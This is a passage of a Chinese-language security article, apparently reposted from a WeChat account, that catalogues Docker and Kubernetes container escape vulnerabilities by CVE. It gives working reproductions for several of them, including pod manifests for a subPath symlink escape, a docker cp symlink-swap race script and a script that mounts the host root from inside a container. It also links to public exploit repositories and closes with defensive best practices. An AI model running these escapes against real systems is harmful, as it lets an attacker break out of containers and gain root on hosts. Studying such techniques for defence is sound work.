printf("[5] executing payload %lxn", payload);
oob_execute(payload);
printf("[+] done, should be root nown");
check_root();
return 0;
}
4.CVE-2017-1002101
CVE-2017-1002101 是 Kubernetes 中的一个文件系统逃逸漏洞,允许攻击者使用子路径卷挂载访问问卷空间之外的文件或目录。
Kubernetes v1.3.x、v1.4.x、以及低于 vl.7.14、vl.8.9 和 v1.9.4 的 Kubernetes 版本均受到影响。
环境准备:
./metarget cnv install cve-2017-1002101
kubectl apply -f stage-1-pod.yaml kubectl exec -it stage-1-container -- ln -s / /vuln/xxx
apiVersion: v1
kind: Pod
metadata:
name: stage-1-container
spec:
containers:
- image: ubuntu
name: stage-1-container
volumeMounts:
- mountPath: /vuln
name: vuln-vol
command: ["sleep"]
args: ["10000"]
volumes:
- name: vuln-vol
hostPath:
path: /tmp/test
创建第二个 Pod:
kubectl apply -f stage-2-pod.yaml
和:
apiVersion: v1
kind: Pod
metadata:
name: stage-2-container
spec:
containers:
- image: ubuntu
name: stage-2-container
volumeMounts:
- mountPath: /vuln
name: vuln-vol
subPath: xxx
command: ["sleep"]
args: ["10000"]
volumes:
- name: vuln-vol
hostPath:
path: /tmp/test
到第二个POD
kubectl exec -it stage-2-container -- ls /vuln
这列出了主机的根目录
5.CVE-2017–7308(Ubuntu 16.04.6)
看:
-
https://github.com/duowen1/Container-escape-exps/tree/main/CVE-2017-7308
-
https://github.com/Metarget/metarget/tree/master/writeups_cnv/kernel-cve-2017-7308
Linux 内核 4.10.6 之前的版本中的 packet_set_ring 函数net/packet/af_packet.c没有正确验证某些块大小数据,这导致本地用户可以通过精心设计的系统调用导致拒绝服务(整数符号错误和越界写入)或获取权限(如果具有该CAP_NET_RAW功能)。
gcc -o poc poc.c
docker build -t exp .
docker run -it --rm exp
./poc
和
FROM ubuntu
RUN apt clean && apt update && apt install ca-certificates && apt-get update && apt-get install appstream -y && apt-get install net-tools -y
COPY poc /
RUN chmod a+x poc
CMD /bin/bash
和:
-
容器逃逸漏洞/CVE/CVE-2017-7308/poc.c at main · iridium-soda/容器逃逸漏洞https://github.com/iridium-soda/container-escape-exploits/blob/main/CVEs/CVE-2017-7308/poc.c
-
整理容器逃逸相关的漏洞和exploits. Contribute to iridium-soda/container-escape-exploits development by creating an account on…https://github.com/iridium-soda/container-escape-exploits/blob/main/CVEs/CVE-2017-7308/poc.c
-
github.com
https://github.com/iridium-soda/container-escape-exploits/blob/main/CVEs/CVE-2017-7308/poc.c
6.CVE-2018–15664
在 Docker 18.06.1-ce-rc2 版本中,’ ‘ 命令背后的 API 端点docker cp容易受到带有目录遍历的符号链接交换攻击,使攻击者能够以 root 权限对主机文件系统进行任意读写访问,因为daemon/archive.go不会在冻结的文件系统上(或在 chroot 内)执行存档操作。
来自:https://github.com/duowen1/Container-escape-exps/tree/main/CVE-2018-15664
#!/bin/bash
SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag
# Create our flag.
echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 0444 "$SYMSWAP_TARGET"
# Run and build the malicious image.
docker build -t expcon
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH"
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" .
ctr_id=$(docker run --rm -d expcon "$SYMSWAP_PATH")
echo "SUCCESS -- HOST FILE CHANGED" | tee localpath
# Now continually try to copy the files.
while true
do
docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"
done
带有恶意图像:
FROM ubuntu:18.04
COPY exp / # https://github.com/duowen1/Container-escape-exps/blob/main/CVE-2018-15664/exp
Entrypoint ["/exp"]
7.CVE-2018-18955
在 Linux 内核 4.15.x 到 4.19.x(4.19.2 之前的版本)中,map_write() 允许kernel/user_namespace.c特权升级,因为它错误处理了包含超过 5 个 UID 或 GID 范围的嵌套用户命名空间。受CAP_SYS_ADMIN影响的用户命名空间中的用户可以绕过命名空间外部资源的访问控制,如以下示例所示/etc/shadow。
发生这种情况的原因是,ID 转换在命名空间到内核方向上正确进行,但在内核到命名空间方向上却不正确。
查看此存储库以了解更多详细信息:
-
Container-escape-exps/CVE-2018-18955/readme.md at main · duowen1/Container-escape-exps https://github.com/duowen1/Container-escape-exps/blob/main/CVE-2018-18955/readme.md
-
容器 (Docker) 逃逸漏洞。创建账户即可为 duowen1/Container-escape-exps 开发做出贡献……https://github.com/duowen1/Container-escape-exps/blob/main/CVE-2018-18955/readme.md
-
github.com https://github.com/duowen1/Container-escape-exps/blob/main/CVE-2018-18955/readme.md
8.CVE-2019–14271
在与 GNU C 库(又名 glibc)链接的 Docker 19.03.1 之前的 19.03.x 中,当该nsswitch工具动态加载包含容器内容的 chroot 内的库时,可能会发生代码注入。
该docker cp命令允许从容器复制文件、将文件复制到容器或在容器之间复制文件。语法与标准 unix cp 命令非常相似。要从/var/logs容器复制,语法为docker cp container_name:/var/logs /some/host/path。
在复制过程中,Docker 使用名为 的辅助进程docker-tar。docker-tar将其 chrooted 到容器,存档请求的文件或目录,然后将生成的 tar 文件传递给 Docker 守护进程,后者将其提取到主机上的目标目录中。
存在漏洞的 Docker 版本使用 Go v1.11 编译。在该版本中,一些包含嵌入式 C 代码 (cgo) 的软件包会在运行时动态加载共享库。这些软件包包括net和os/user,它们均由 docker-tar 使用,并在运行时加载多个libnss_*.so库。
通常情况下,库是从host文件系统加载的,但由于docker-tar chroot 到容器,因此它会从容器文件系统加载库。也就是说,docker-tar加载并执行源自容器或由容器控制的代码。
因此,通过注入代码docker-tar,恶意容器可以获得主机的完全 root 访问权限。
可能的攻击场景包括 Docker 用户从另一个 Docker 复制文件。
-
libnss_*.so运行包含恶意库的镜像的容器
-
该容器包含libnss_*.so已被攻击者替换的库。
-
container-escape-exploits/CVEs/CVE-2019-14271/libnss_files.so.2 在 main ·…https://github.com/iridium-soda/container-escape-exploits/blob/main/CVEs/CVE-2019-14271/libnss_files.so.2
-
整理集装箱逃逸相关的漏洞和漏洞。通过在…上创建帐户,为铱苏打/容器逃逸漏洞开发做出贡献https://github.com/iridium-soda/container-escape-exploits/blob/main/CVEs/CVE-2019-14271/libnss_files.so.2
-
github.com https://github.com/iridium-soda/container-escape-exploits/blob/main/CVEs/CVE-2019-14271/libnss_files.so.2
在这两种情况下,攻击者都可以获得主机上的 root 代码执行权限。
#!/bin/bash
exec > /break_logs 2>&1 # defer output & err to break_logs
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount host's procfs
cd /proc/1/root # chdirs to host's root
mount --bind . /host_fs # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil
9.CVE-2019–5736
runC 1.0-rc6(在 18.09.2 之前的 Docker 和其他产品中使用)允许攻击者利用在以下某种类型的容器中以 root 身份执行命令的能力来覆盖主机 runc 二进制文件(从而获得主机 root 访问权限):
-
带有攻击者控制的镜像的新容器,或
-
攻击者先前对其具有写访问权限的现有容器,可以使用 docker exec 进行附加。
发生这种情况是因为与相关的文件描述符处理不当造成的/proc/self/exe。
看:
-
CVE-2019-5736-PoC/main.go at master · Frichetten/CVE-2019-5736-PoC
https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go
-
CVE-2019-5736 的 PoC。通过在 GitHub 上创建帐户来为 Frichetten/CVE-2019-5736-PoC 开发做出贡献。
https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go
10.CVE-2020–14386
在 5.9-rc4 之前的 Linux 内核中发现一个漏洞。利用内存损坏可以从非特权进程获取 root 权限。此漏洞的最大威胁是数据机密性和完整性。
-
GitHub – cgwalters/cve-2020-14386
https://github.com/cgwalters/cve-2020-14386
-
通过在 GitHub 上创建帐户来为 cgwalters/cve-2020-14386 开发做出贡献。
https://github.com/cgwalters/cve-2020-14386
11.CVE-2020–15257
containerd是行业标准的容器运行时,可用作 Linux 和 Windows 的守护进程。在 1.3.9 和 1.4.3 之前的版本中,containerd-shim API 未正确暴露给主机网络容器。
shim 的 API 套接字的访问控制验证了连接进程的有效 UID 为 0,但并没有限制对抽象 Unix 域套接字的访问。
这将允许在与 shim 相同的网络命名空间中运行的恶意容器(其有效 UID 为 0,但其他权限降低)导致新进程以提升的权限运行。
此漏洞已在 containerd 1.3.9 和 1.4.3 中修复。用户应在这些版本发布后尽快更新。需要注意的是,使用旧版本 containerd-shim 启动的容器应停止并重新启动,因为即使升级后,正在运行的容器仍会存在漏洞。
如果您没有为不受信任的用户提供在与 shim 相同的网络命名空间中启动容器的能力(通常是“主机”网络命名空间,例如 docker run — net=hostKubernetes pod 中的或 hostNetwork: true)并且以有效 UID 0 运行,那么您就不会受到此问题的影响。
如果您正在运行具有易受攻击配置的容器,则可以通过在策略中添加类似于拒绝 unix 的行来拒绝使用 AppArmor 对所有抽象套接字的访问 addr=@**。最佳做法是运行具有一组减少的权限、非零 UID 和隔离命名空间的容器。
containerd 维护者强烈建议不要与主机共享命名空间。减少用于容器的隔离机制集必然会增加该容器的权限,无论使用什么容器运行时来运行该容器。
-
GitHub – nccgroup/abstractshimmer:containerd 中 CVE-2020-15257 的概念证明。
https://github.com/nccgroup/abstractshimmer
-
containerd 中 CVE-2020-15257 的概念证明。- nccgroup/abstractshimmer
https://github.com/nccgroup/abstractshimmer
12.CVE-2021–22555
查看:
-
CVE-2021-22555:将 x00x00 变成 10000 美元
https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
-
该项目包含与 Google 进行的研究相关的安全公告及其概念验证……
https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
13.CVE-2022–0185
legacy_parse_param Linux 内核的文件系统上下文功能中的函数在验证所提供参数长度的方式中发现了一个基于堆的缓冲区溢出缺陷。
非特权(在启用非特权用户命名空间的情况下,否则需要命名空间CAP_SYS_ADMIN特权)本地用户可以打开不支持文件系统上下文 API(从而回退到传统处理)的文件系统,并可利用此缺陷提升其在系统上的权限。
-
GitHub – Crusaders-of-Rust/CVE-2022-0185: CVE-2022-0185
https://github.com/Crusaders-of-Rust/CVE-2022-0185
-
CVE-2022-0185。通过在 GitHub 上创建帐户来为 Crusaders-of-Rust/CVE-2022-0185 开发做出贡献。
https://github.com/Crusaders-of-Rust/CVE-2022-0185
14.CVE-2022–0492
Linux 内核的cgroup_release_agent_write该kernel/cgroup/cgroup-v1.c功能中发现了一个漏洞。在某些情况下,该漏洞允许使用 cgroups v1release_agent功能提升权限并意外绕过命名空间隔离。
-
GitHub – SofianeHamlaoui/CVE-2022-0492-Checker:用于检查容器环境是否存在的脚本……
https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker
-
用于检查容器环境是否容易受到 CVE-2022-0492 容器逃逸攻击的脚本……
https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker
15. CVE-2022–0847 “脏管道”
新的管道缓冲区结构的“flags”成员在 Linux 内核中缺乏适当的初始化copy_page_to_iter_pipe和push_pipe功能,因此可能包含过时的值,因此被发现存在缺陷。没有特权的本地用户可以利用此缺陷写入由只读文件支持的页面缓存中的页面,从而提升他们在系统上的特权。
-
GitHub – AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits:漏洞利用和文档的集合……
https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
-
可用于利用 Linux Dirty Pipe 漏洞的漏洞利用程序和文档的集合。…
https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
16.CVE-2022–1227
在 中发现了一个权限提升漏洞Podman。此漏洞允许攻击者将恶意图像发布到公共注册表。一旦潜在受害者下载此图像,用户运行“ podman top”命令后就会触发此漏洞。此操作使攻击者能够访问主机文件系统,从而导致信息泄露或拒绝服务。
-
GitHub – iridium-soda/CVE-2022-1227_Exploit: 用于利用 CVE-2022-1227 的脚本
https://github.com/iridium-soda/CVE-2022-1227_Exploit
-
用于利用 CVE-2022-1227 的脚本。通过创建…为 iridium-soda/CVE-2022-1227_Exploit 开发做出贡献
https://github.com/iridium-soda/CVE-2022-1227_Exploit
17.CVE-2024–21626
-
Docker 和 runC 漏洞:深入研究 CVE-2024–21626 及其对应漏洞
https://systemweakness.com/docker-and-runc-vulnerabilities-a-deep-dive-into-cve-2024-21626-and-its-counterparts-4ca24e7d7aa1
-
了解 CVE-2024–21626、CVE-2024–23651、CVE-2024–23652 和 CVE-2024–23653 的影响和解决方案……
https://systemweakness.com/docker-and-runc-vulnerabilities-a-deep-dive-into-cve-2024-21626-and-its-counterparts-4ca24e7d7aa1
预防措施和最佳实践
确保 Docker 容器免遭逃逸需要采取多方面的方法:
-
定期更新和修补:对于缓解已知漏洞而言,保持 Docker 和主机系统更新是不可或缺的。
-
最小特权原则:容器应该仅被授予其运行所绝对需要的能力,仅此而已。
-
避免以特权模式运行容器:除非绝对必要,否则避免以特权模式运行容器。
-
安全监控和审计:实施安全监控工具来检测表明容器逃逸的异常活动。
-
教育和意识:随时了解最新的安全研究和 CVE 披露可以帮助预防潜在的攻击媒介。
结论
Docker 容器的安全性是一场持续不断的战斗,其特点是新兴威胁与不断发展的防御措施之间不断相互作用。了解容器逃逸背后的机制并实施最佳实践对于加强容器化环境以抵御这些隐蔽威胁至关重要
请记住,您的安全态势的强度不仅在于您所使用的工具和配置,还在于使用这些工具和配置的人的知识和警惕性。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):突破:逃离 Docker 容器的 26 种高级技巧